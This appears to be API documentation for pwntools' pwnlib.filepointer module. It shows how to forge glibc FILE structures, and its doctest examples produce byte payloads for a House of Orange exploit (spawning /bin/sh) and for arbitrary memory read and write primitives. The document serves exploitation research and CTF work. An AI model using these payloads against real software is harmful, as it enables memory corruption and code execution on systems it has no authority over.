pwnlib.filepointerFILE* structure exploitation

File Structure Exploitation

struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.

Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-

>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeef)
>>> fileStr.vtable = 0xcafebabe
>>> payload = bytes(fileStr)
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'

Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe

Currently only ‘amd64’ and ‘i386’ architectures are supported

class pwnlib.filepointer.FileStructure(null=0)[source]

Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.

Parameters:null (int) – A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)

Examples

FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d

>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeeef)
>>> fileStr.flags = 0xfbad1807
>>> fileStr._IO_buf_base = 0xcafebabe
>>> fileStr._IO_buf_end = 0xfacef00d
>>> payload = bytes(fileStr)
>>> payload
b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Check the length of the FileStructure

>>> len(fileStr)
224

The defination for __repr__ orders the structure members and displays then in a dictionary format. It’s useful when viewing a structure objet in python/IPython shell

>>> q=FileStructure(0xdeadbeef)
>>> q
{ flags: 0x0
 _IO_read_ptr: 0x0
 _IO_read_end: 0x0
 _IO_read_base: 0x0
 _IO_write_base: 0x0
 _IO_write_ptr: 0x0
 _IO_write_end: 0x0
 _IO_buf_base: 0x0
 _IO_buf_end: 0x0
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x0
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0xdeadbeef
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0xdeadbeef
 unknown2: 0x0
 vtable: 0x0}
orange(io_list_all, vtable)[source]

Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.

Parameters:
  • io_list_all (int) – Address of _IO_list_all in libc.
  • vtable (int) – Address of the fake vtable in memory

Example

Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -

>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
>>> payload
b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
read(addr=0, size=0)[source]

Reading data into arbitrary memory location.

Parameters:
  • addr (int) – The address into which data is to be written from stdin
  • size (int) – The size, in bytes, of the data to be written

Example

Payload for reading 100 bytes from stdin into the address 0xcafebabe

>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.read(addr=0xcafebabe, size=100)
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
struntil(v)[source]

Payload for stuff till ‘v’ where ‘v’ is a structure member. This payload includes ‘v’ as well.

Parameters:v (string) – The name of the field uptil which the payload should be created.

Example

Payload for data uptil _IO_buf_end

>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.struntil("_IO_buf_end")
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
write(addr=0, size=0)[source]

Writing data out from arbitrary memory address.

Parameters:
  • addr (int) – The address from which data is to be printed to stdout
  • size (int) – The size, in bytes, of the data to be printed

Example

Payload for writing 100 bytes to stdout from the address 0xcafebabe

>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.write(addr=0xcafebabe, size=100)
>>> payload
b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
pwnlib.filepointer.update_var(l)[source]

Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.

Parameters:l (int) – l=8 for ‘amd64’ architecture and l=4 for ‘i386’ architecture
Return Value:
Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set

Examples

>>> update_var(8)
{'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}